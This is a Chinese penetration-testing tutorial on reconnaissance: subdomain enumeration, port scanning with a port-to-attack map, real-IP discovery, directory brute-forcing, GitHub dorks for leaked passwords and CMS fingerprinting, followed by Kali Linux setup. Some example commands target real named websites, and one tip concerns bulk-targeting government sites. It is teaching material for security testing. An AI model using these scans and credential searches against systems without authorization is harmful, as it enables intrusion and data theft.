新网互联域名WHOIS信息查询地址 http://www.dns.com.cn/show/domain/whois/index.do 新网互联
国外WHOIS信息查询地址 https://who.is/ 国外WHOIS
1.2 在线网站备案查询
网站备案信息是根据国家法律法规规定,由网站所有者向国家有关部门申请的备案,如果需要查询企业备案信息(单位名称、备案编号、网站负责人、电子邮箱、联系电话、法人等),推荐以下网站查询
天眼查 https://www.tianyancha.com/ 天眼查
ICP备案查询网 http://www.beianbeian.com/ ICP备案查询网
爱站备案查询 https://icp.aizhan.com/ 爱站备案查询
域名助手备案信息查询 http://cha.fute.com/index 域名助手备案信息查询
2. 收集子域名
2.1 子域名作用
收集子域名可以扩大测试范围,同一域名下的二级域名都属于目标范围。 直接输入domain
2.1.2 如何检测CNAME记录
- 进入命令状态;(开始菜单 - 运行 - CMD[回车]);
- 输入命令” nslookup -q=cname 这里填写对应的域名或二级域名”,查看返回的结果与设置的是否一致即可。
2.2常用方式
子域名中的常见资产类型一般包括办公系统,邮箱系统,论坛,商城,其他管理系统,网站管理后台也有可能出现子域名中。
首先找到目标站点,在官网中可能会找到相关资产(多为办公系统,邮箱系统等),关注一下页面底部,也许有管理后台等收获。子域名在线查询
https://phpinfo.me/domain/
https://www.t1h2ua.cn/tools/dns侦测
https://dnsdumpster.com/ip138 查询子域名
https://site.ip138.com/moonsec.com/domain.htmHackertarget查询子域名
https://hackertarget.com/find-dns-host-records/
注意:通过该方法查询子域名可以得到一个目标大概的ip段,接下来可以通过ip来收集信息360 Quake
https://quake.360.cn/
domain:”*.???.com”Layer子域名挖掘机
Layer子域名挖掘机
SubDomainBrute
https://github.com/lijiejie/subDomainsBrute SubDomainBrutepip install aiodns
运行命令1
2subDomainsBrute.py freebuf.com
subDomainsBrute.py freebuf.com --full -o freebuf2.txt
Sublist3r
https://github.com/aboul3la/Sublist3rpip install -r requirements.txt
提示:以上方法为爆破子域名,由于字典比较强大,所以效率较高。
帮助文档1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20usage: sublist3r.py [-h] -d DOMAIN [-b [BRUTEFORCE]] [-p PORTS] [-v [VERBOSE]]
[-t THREADS] [-e ENGINES] [-o OUTPUT] [-n]
OPTIONS:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain name to enumerate it's subdomains
-b [BRUTEFORCE], --bruteforce [BRUTEFORCE]
Enable the subbrute bruteforce module
-p PORTS, --ports PORTS
Scan the found subdomains against specified tcp ports
-v [VERBOSE], --verbose [VERBOSE]
Enable Verbosity and display results in realtime
-t THREADS, --threads THREADS
Number of threads to use for subbrute bruteforce
-e ENGINES, --engines ENGINES
Specify a comma-separated list of search engines
-o OUTPUT, --output OUTPUT
Save the results to text file
-n, --no-color Output without color
Example: python sublist3r.py -d google.com
中文翻译
-h :帮助
-d :指定主域名枚举子域名
-b :调用subbrute暴力枚举子域名
-p :指定tpc端口扫描子域名
-v :显示实时详细信息结果
-t :指定线程
-e :指定搜索引擎
-o :将结果保存到文本
-n :输出不带颜色
默认参数扫描子域名python sublist3r.py -d baidu.com
使用暴力枚举子域名python sublist3r -b -d baidu.com
OneForALL (kali)
pip3 install —user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/`
python3 oneforall.py —target baidu.com run /收集/
爆破子域名
Example:
brute.py —target domain.com —word True run
brute.py —targets ./domains.txt —word True run
brute.py —target domain.com —word True —concurrent 2000 run
brute.py —target domain.com —word True —wordlist subnames.txt run
brute.py —target domain.com —word True —recursive True —depth 2 run
brute.py —target d.com —fuzz True —place m..d.com —rule ‘[a-z]’ run
brute.py —target d.com —fuzz True —place m..d.com —fuzzlist subnames.txt run
FuzzDomain
3. 端口扫描
当确定了目标大概的ip段后,可以先对ip的开放端口进行探测,一些特定服务可能开起在默认端口上,探测开放端口有利于快速收集目标资产,找到目标网站的其他功能站点。
msscan端口扫描 (kali)
https://gitee.com/youshusoft/GoScanner/ msscan -p 1-65535 ip --rate=1000
御剑端口扫描 holdsword
nmap扫描端口和探测端口信息
常用参数,如:1
2
3
4nmap -sV 192.168.0.2
nmap -sT 92.168.0.2
nmap -Pn -A -sC 192.168.0.2
nmap -sU -sT -p0-65535 192.168.122.1
sU—UDP sT—TCP
用于扫描目标主机服务版本号与开放的端口
如果需要扫描多个ip或ip段,可以将他们保存到一个txt文件中
nmap -iL ip.txt
来扫描列表中所有的ip。
Nmap为端口探测最常用的方法,操作方便,输出结果非常直观。
在线端口检测
端口扫描器
御剑,msscan,zmap
渗透端口
21,22,23,1433,152,3306,3389,5432,5900,50070,50030,50000,27017,27018,11211,9200,9300,7001,7002,6379,5984,873,443,8000-9090,80-89,80,10000,8888,8649,8083,8080,8089,9090,7778,7001,7002,6082,5984,4440,3312,3311,3128,2601,2604,2222,2082,2083,389,88,512,513,514,1025,111,1521,445,135,139,53
渗透常见端口及对应服务
1.web类(web漏洞/敏感目录)
第三方通用组件漏洞struts thinkphp jboss ganglia zabbix
80 web
80-89 web
8000-9090 web
2.数据库类(扫描弱口令)
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
3.特殊服务类(未授权/命令执行类/漏洞)
443 SSL心脏滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
4.常用端口类(扫描弱口令/端口爆破)
21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌面
5.端口合计详情
21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心脏滴血以及一些web漏洞测试
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 MySQL
3312/3311 kangle主机管理系统登陆
3389 远程桌面
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
常见的端口和攻击方法

4.查找真实ip
4.1 多地ping确认是否使用CDN
http://ping.chinaz.com/
http://ping.aizhan.com/
4.2 查询历史DNS解析记录
在查询到的历史解析记录中,最早的历史解析ip很有可能记录的就是真实ip,快速查找真实IP推荐此方法,但并不是所有网站都能查到
4.2.1 DNSDB
4.2.2 微步在线
4.2.3 Ipip.net
https://tools.ipip.net/cdn.php
4.2.4 iewdns
4.3 phpinfo
如果目标网站存在phpinfo泄露等,可以在phpinfo中的SERVER_ADDR或_SERVER[“SERVER_ADDR”]找到真实ip
4.4 绕过CDN
绕过CDN的多种方法具体可以参考
https://www.cnblogs.com/qiudabai/p/9763739.html 绕过CDN
5 旁站和C段
旁站往往存在业务功能站点,建议先收集已有IP的旁站,再探测C段,确认C段目标后,再在C段的基础上再收集一次旁站。
旁站是和已知目标站点在同一服务器但不同端口的站点,通过以下方法搜索到旁站后,先访问一下确定是不是自己需要的站点信息。
5.1 google hacking
https://blog.csdn.net/qq_36119192/article/details/84029809
5.1.1 网络空间搜索引擎
如FOFA搜索旁站和C段
该方法效率较高,并能够直观地看到站点标题,但也有不常见端口未收录的情况,虽然这种情况很少,但之后补充资产的时候可以用下面的方法nmap扫描再收集一遍。
shodan
5.1.2 在线c段 webscan.cc
webscan.cc
https://c.webscan.cc/ webscan.cc
5.1.3 c段 利用脚本
pip install requests1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34#coding:utf-8
import requests
import json
def get_c(ip):
print("正在收集{}".format(ip))
url="http://api.webscan.cc/?action=query&ip={}".format(ip)
req=requests.get(url=url)
html=req.text
data=req.json()
if 'null' not in html:
with open("resulit.txt", 'a', encoding='utf-8') as f:
f.write(ip + '\n')
f.close()
for i in data:
with open("resulit.txt", 'a',encoding='utf-8') as f:
f.write("\t{} {}\n".format(i['domain'],i['title']))
print(" [+] {} {}[+]".format(i['domain'],i['title']))
f.close()
def get_ips(ip):
iplist=[]
ips_str = ip[:ip.rfind('.')]
for ips in range(1, 256):
ipadd=ips_str + '.' + str(ips)
iplist.append(ipadd)
return iplist
ip=input("请你输入要查询的ip:")
ips=get_ips(ip)
for p in ips:
get_c(p)
5.1.4 Nmap,Msscan扫描等
nmap -p 80,443,8000,8080 -Pn 192.168.0.0/24
5.? 站长之家 (接口不稳定)
同ip网站查询
http://stool.chinaz.com/same
https://chapangzhan.com/
6. 网络空间搜索引擎
如果想要在短时间内快速收集资产,那么利用网络空间搜索引擎是不错的选择,可以直观地看到旁站,端口,站点标题,IP等信息,点击列举出站点可以直接访问,以此来判断是否为自己需要的站点信息。FOFA的常用语法
- 同IP旁站:ip=”192.168.0.1”
- C段:ip=”192.168.0.0/24”
- 子域名:domain=”baidu.com”
- 标题/关键字:title=”百度”
- 如果需要将结果缩小到某个城市的范围,那么可以拼接语句
title="百度"&& region="Beijing" - 特征:body=”百度”或header=”baidu”
7. 扫描敏感目录/文件
扫描敏感目录需要强大的字典,需要平时积累,拥有强大的字典能够更高效地找出网站的管理后台,敏感文件常见的如.git文件泄露,.svn文件泄露,phpinfo泄露等,这一步一半交给各类扫描器就可以了,将目标站点输入到域名中,选择对应字典类型,就可以开始扫描了,十分方便。
7.1 御剑
https://www.fujieace.com/hacker/tools/yujian.html 御剑
7.2 7kbstorm
https://github.com/7kbstorm/7kbscan-WebPathBrute 7kbstorm
7.3 bbscan (py2.7)
https://github.com/lijiejie/BBScan
在pip已经安装的前提下,可以直接:
pip install -r requirements.txt
使用示例:
- 扫描单个web服务 www.target.com
python BBScan.py —host www.target.com - 扫描www.target.com和www.target.com/28下的其他主机
python BBScan.py —host www.target.com —network 28 - 扫描txt文件中的所有主机
python BBScan.py -f wandoujia.com.txt - 从文件夹中导入所有的主机并扫描
python BBScan.py -d targets/–network参数用于设置子网掩码,小公司设为28~30,中等规模公司设置26~28,大公司设为24~26
当然,尽量避免设为24,扫描过于耗时,除非是想在各SRC多刷几个漏洞。
该插件是从内部扫描器中抽离出来的.
如果你有非常有用的规则,请找几个网站验证测试后,再 pull request
脚本还会优化,接下来的事:
增加有用规则,将规则更好地分类,细化
后续可以直接从 rules\request 文件夹中导入HTTP_request
优化扫描逻辑
7.4 dirmap (kali)
pip install -r requirement.txt
https://github.com/H4ckForJob/dirmap
单个目标
python3 dirmap.py -i https://target.com -lcf
多个目标
python3 dirmap.py -iF urls.txt -lcf
7.5 dirsearch (kali)
https://gitee.com/Abaomianguan/dirsearch.git
unzip dirsearch.zip
python3 dirsearch.py -u http://m.scabjd.com/ -e *
7.6 dirbuster
7.7 gobuster
sudo apt-get install gobuster
gobuster dir -u https://www.servyou.com.cn/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50
dir -u 网址 w字典 -x 指定后缀 -t 线程数量
dir -u https://www.servyou.com.cn/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x “php,html,rar,zip” -d —wildcard -o servyou.log | grep ^”3402”
7.8 网站文件
- robots.txt
- crossdomin.xml
- sitemap.xml
- 后台目录
- 网站安装包
- 网站上传目录
- mysql管理页面
- phpinfo
- 网站文本编辑器
- 测试文件
- 网站备份文件(.rar、zip、.7z、.tar.gz、.bak)
- DS_Store 文件
- vim编辑器备份文件(.swp)
- WEB—INF/web.xml文件
- git
- svn
https://www.secpulse.com/archives/55286.html
8.扫描网页备份
例如
config.php
config.php~
config.php.bak
config.php.swp
config.php.rar
conig.php.tar.gz
9. 网站头信息收集
1.中间件 :web服务【Web Servers】 apache iis7 iis7.5 iis8 nginx WebLogic tomcat
2.网站组件: js组件jquery、vue 页面的布局bootstrap
通过浏览器获取
http://whatweb.bugscaner.com/look/
火狐的插件Wappalyzer
cmd 查询
curl 命令查询头信息
curl https://www.????.com -i
10. 敏感文件搜索
10.1 GitHub搜索
in:name test #仓库标题搜索含有关键字test
in:descripton test #仓库描述搜索含有关键字
in:readme test #Readme文件搜素含有关键字
搜索某些系统的密码
https://github.com/search?q=smtp+58.com+password+3306&type=Code
github 关键词监控
https://www.codercto.com/a/46640.html
谷歌搜索
site:Github.com sa password
site:Github.com root password
site:Github.com User ID=’sa’;Password
site:Github.com inurl:sql
SVN 信息收集
site:Github.com svn
site:Github.com svn username
site:Github.com svn password
site:Github.com svn username password
综合信息收集
site:Github.com password
site:Github.com ftp ftppassword
site:Github.com 密码
site:Github.com 内部1
2
3
4https://blog.csdn.net/qq_36119192/article/details/99690742
http://www.361way.com/github-hack/6284.html
https://docs.github.com/cn/github/searching-for-information-on-github/searching-code
https://github.com/search?q=smtp+bilibili.com&type=code
10.2 Google-hacking
site:域名
inurl: url中存在的关键字网页
intext:网页正文中的关键词
filetype:指定文件类型
10.3 wooyun漏洞库
https://wooyun.website/ wooyun
10.4 网盘搜索
凌云搜索: https://www.lingfengyun.com/ 凌云搜索
盘多多:http://www.panduoduo.net/ 盘多多
盘搜搜:http://www.pansoso.com/ 盘搜搜
盘搜:http://www.pansou.com/ 盘搜
10.5 网站注册信息
www.reg007.com 网站查询注册信息
10.6 js敏感信息
- 网站的url连接写到js里面
- js的api接口 里面包含用户信息
比如 账号和密码10.6.1 jsfinder
https://gitee.com/kn1fes/JSFinder
python3 JSFinder.py -u http://www.mi.com
python3 JSFinder.py -u http://www.mi.com -d
python3 JSFinder.py -u http://www.mi.com -d -ou mi_url.txt -os mi_subdomain.txt
当你想获取更多信息的时候,可以使用-d进行深度爬取来获得更多内容,并使用命令 -ou, -os来指定URL和子域名所保存的文件名
批量指定URL和JS链接来获取里面的URL。
指定URL:
python JSFinder.py -f text.txt
指定JS:
python JSFinder.py -f text.txt -j
10.6.2 Packer-Fuzzer
寻找网站交互接口 授权key
随着WEB前端打包工具的流行,您在日常渗透测试、安全服务中是否遇到越来越多以Webpack打包器为代表的网站?这类打包器会将整站的API和API参数打包在一起供Web集中调用,这也便于我们快速发现网站的功能和API清单,但往往这些打包器所生成的JS文件数量异常之多并且总JS代码量异常庞大(多达上万行),这给我们的手工测试带来了极大的不便,Packer Fuzzer软件应运而生。
本工具支持自动模糊提取对应目标站点的API以及API对应的参数内容,并支持对:未授权访问、敏感信息泄露、CORS、SQL注入、水平越权、弱口令、任意文件上传七大漏洞进行模糊高效的快速检测。在扫描结束之后,本工具还支持自动生成扫描报告,您可以选择便于分析的HTML版本以及较为正规的doc、pdf、txt版本。1
2
3
4sudo apt-get install nodejs && sudo apt-get install npm
git clone https://gitee.com/keyboxdzd/Packer-Fuzzer.git
pip3 install -r requirements.txt
python3 PackerFuzzer.py -u https://www.liaoxuefeng.com
10.6.3 SecretFinder
一款基于Python脚本的JavaScript敏感信息搜索工具
https://gitee.com/mucn/SecretFinder
python3 SecretFinder.py -i https://www.moonsec.com/ -e
11. cms识别/指纹识别
收集好网站信息之后,应该对网站进行指纹识别,通过识别指纹,确定目标的cms及版本,方便制定下一步的测试计划,可以用公开的poc或自己累积的对应手法等进行正式的渗透测试。
11.1 云悉
http://www.yunsee.cn/info.html 云悉
11.2 潮汐指纹
http://finger.tidesec.net/ 潮汐指纹
11.3 CMS指纹识别
http://whatweb.bugscaner.com/look/
https://github.com/search?q=cms
11.4 whatcms (kali)
11.5 御剑cms识别
https://github.com/ldbfpiaoran/cmscan
https://github.com/theLSA/cmsIdentification/
12. 非常规按操作
1、如果找到了目标的一处资产,但是对目标其他资产的收集无处下手时,可以查看一下该站点的body里是否有目标的特征,然后利用网络空间搜索引擎(如fofa等)对该特征进行搜索,如:body=”XX公司”或body=”baidu”等。
该方式一般适用于特征明显,资产数量较多的目标,并且很多时候效果拔群。
2、当通过上述方式的找到test.com的特征后,再进行body的搜索,然后再搜索到test.com的时候,此时fofa上显示的ip大概率为test.com的真实IP。
3、如果需要对政府网站作为目标,那么在批量获取网站首页的时候,可以用上
http://114.55.181.28/databaseInfo/index
之后可以结合上一步的方法进行进一步的信息收集。
13. SSL/TLS证书查询
SSL/TLS证书通常包含域名、子域名和邮件地址等信息,结合证书中的信息,可以更快速地定位到目标资产,获取到更多目标资产的相关信息。
https://myssl.com/
https://crt.sh
https://censys.io
https://developers.facebook.com/tools/ct/
https://google.com/transparencyreport/https/ct/
SSL证书搜索引擎:
https://certdb.com/domain/github.com
https://crt.sh/?Identity=%.???.com
https://censys.io/
GetDomainsBySSL.py
14. 查找厂商ip段
http://ipwhois.cnnic.net.cn/index.jsp
15. 移动资产收集
15.1 微信小程序支付宝小程序
https://weixin.sogou.com/weixin?type=1&ie=utf8&query=%E6%8B%BC%E5%A4%9A%E5%A4%9A
15.2 app软件搜索
16. js敏感文件
https://github.com/m4ll0k/SecretFinder
https://github.com/Threezh1/JSFinder
https://github.com/rtcatc/Packer-Fuzzer
17. github信息泄露监控
https://github.com/0xbug/Hawkeye
https://github.com/MiSecurity/x-patrol
https://github.com/VKSRC/Github-Monitor
18. 资产收集神器
ARL(Asset Reconnaissance Lighthouse)资产侦察灯塔系统
https://github.com/TophantTechnology/ARL
AssetsHunter
https://github.com/rabbitmask/AssetsHunter
一款用于src资产信息收集的工具
https://github.com/sp4rkw/Reaper
domain_hunter_pro
https://github.com/bit4woo/domain_hunter_pro
LangSrcCurise
https://github.com/shellsec/LangSrcCurise
网段资产
https://github.com/colodoo/midscan
19. 工具
Fuzz字典推荐:https://github.com/TheKingOfDuck/fuzzDicts
BurpCollector(BurpSuite参数收集插件):https://github.com/TEag1e/BurpCollector
Wfuzz:https://github.com/xmendez/wfuzz
LinkFinder:https://github.com/GerbenJavado/LinkFinder
PoCBox:https://github.com/Acmesec/PoCBox
kali安装与使用
kali安装与使用
1. 简单介绍
Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统。每一季度更新一次。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版 。
Kali Linux预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng. 用户可通过硬盘、live CD或live USB运行Kali Linux。Kali Linux既有32位和64位的镜像。可用于x86 指令集。同时还有基于ARM架构的镜像,可用于树莓派和三星的ARM Chromebook
2. Kali的版本
根据系统的不同选择不同的版本。主要分为32/64版本 通常用64居多
同时也提供多个安装版本 直接安装的版本、虚拟机版本 (wmare /vbox)
安装版本
https://www.kali.org/downloads/
账号和密码都是kali
3. 配置
3.1. 安装虚拟机open-vm-tools-desktop模块
sudo apt-get install open-vm-tools-desktop
3.2. 设置中文
sudo apt-get install ttf-wqy-microhei ttf-wqy-zenhei xfonts-wqy
sudo dpkg-reconfigure locales
选择字符 zh_CN.UTF-8
重启 reboot
3.3. 安装python3的pip
sudo apt-get install python3-pip
解决pip3 超时下载
python3的pip3默认源太慢,所以我们为了提升使用效果,通常选择国内源。
其实方法很简单,脚本如下:
mkdir -p ~/.pip
vim ~/.pip/pip.conf
然后将下列的内容写入~/.pip/pip.conf即可。1
2
3
4[global]
index-url = http://pypi.douban.com/simple
[install]
trusted-host=pypi.douban.com
我这里使用了豆瓣的源,只是使用习惯问题,当然我们也可以使用清华等其他国内源。
国内其他pip源
清华:https://pypi.tuna.tsinghua.edu.cn/simple
中国科技大学https://pypi.mirrors.ustc.edu.cn/simple/
华中理工大学:http://pypi.hustunique.com/
山东理工大学:http://pypi.sdutlinux.org/
豆瓣:http://pypi.douban.com/simple/
3.4. 更新源
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
sudo vim /etc/apt/sources.list
阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
apt-get update 更新系统
apt-get upgrade 升级已安装的所有软件包
apt-get dist-upgrade 升级软件 会自动处理依赖包
vim 编辑器
sudo 使用特权 root权限
:wq 保存
